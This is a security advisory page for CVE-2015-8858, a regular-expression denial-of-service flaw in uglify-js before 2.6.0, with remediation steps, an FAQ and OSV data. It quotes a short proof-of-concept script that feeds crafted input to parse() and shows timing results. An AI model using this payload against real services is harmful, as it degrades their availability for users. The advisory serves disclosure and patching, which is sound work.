CVE-2015-8858: Uglify js Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-c9f4-xj24-8jqx
CVSS 7.5
CWE-1333
Published
Advisory Summary

CVE-2015-8858 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Uglify js libraries in the npm ecosystem. The issue involves regular expression denial of service in uglify-js. Remediation is available by upgrading affected packages to version 2.6.0.

CVE-2015-8858 at a Glance

CVE Identifier CVE-2015-8858
GHSA Identifier GHSA-c9f4-xj24-8jqx
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Uglify js
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2015-8858

To remediate this vulnerability, upgrade all affected Uglify js dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

uglify-js fixed: 2.6.0
npm install uglify-js@2.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls uglify-js

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2015-8858, inspect your project dependencies using npm:

npm ls uglify-js

Analyze the terminal output to locate any version of Uglify js in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.0), your application is affected.

Note: The npm ls uglify-js command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Uglify js, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method. ### Proof of Concept ``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ``` ### Results ``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s $ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ``` ## Recommendation Update to version 2.6.0 or later.

CVE-2015-8858 Affected Uglify js Versions

1 component(s)
Fixed Versions:
2.6.0
Product / Package Ecosystem Affected Versions Fixed Version
uglify-js
npm
< 2.6.0
2.6.0

References

Frequently Asked Questions

What is CVE-2015-8858?
CVE-2015-8858 is a security vulnerability in Uglify js involving Regular Expression Denial of Service in uglify-js under CWE-1333: Inefficient Regular Expression Complexity.
Which Uglify js versions are affected?
Affected versions include releases prior to 2.6.0 across affected packages: uglify-js.
What version fixes CVE-2015-8858?
Upgrading to 2.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is uglify-js affected?
Yes, uglify-js is affected in releases prior to 2.6.0. Upgrade your dependency to 2.6.0 or later.
What is the CVSS score of CVE-2015-8858?
CVE-2015-8858 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2015-8858?
CVE-2015-8858 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for CVE-2015-8858?
Run the dependency tree command: 'npm ls uglify-js'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c9f4-xj24-8jqx",
  "modified" : "2021-09-08T21:59:09Z",
  "published" : "2017-10-24T18:33:36Z",
  "aliases" : [ "CVE-2015-8858" ],
  "summary" : "Regular Expression Denial of Service in uglify-js",
  "details" : "Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.\n\n\n### Proof of Concept\n\n```\nvar u = require('uglify-js');\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```\n\n\n## Recommendation\n\nUpdate to version 2.6.0 or later.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "uglify-js"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2015-8858"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-c9f4-xj24-8jqx"
  }, {
    "type" : "WEB",
    "url" : "https://www.npmjs.com/advisories/48"
  }, {
    "type" : "WEB",
    "url" : "http://www.openwall.com/lists/oss-security/2016/04/20/11"
  }, {
    "type" : "WEB",
    "url" : "http://www.securityfocus.com/bid/96409"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-06-16T21:30:50Z",
    "nvd_published_at" : null
  }
}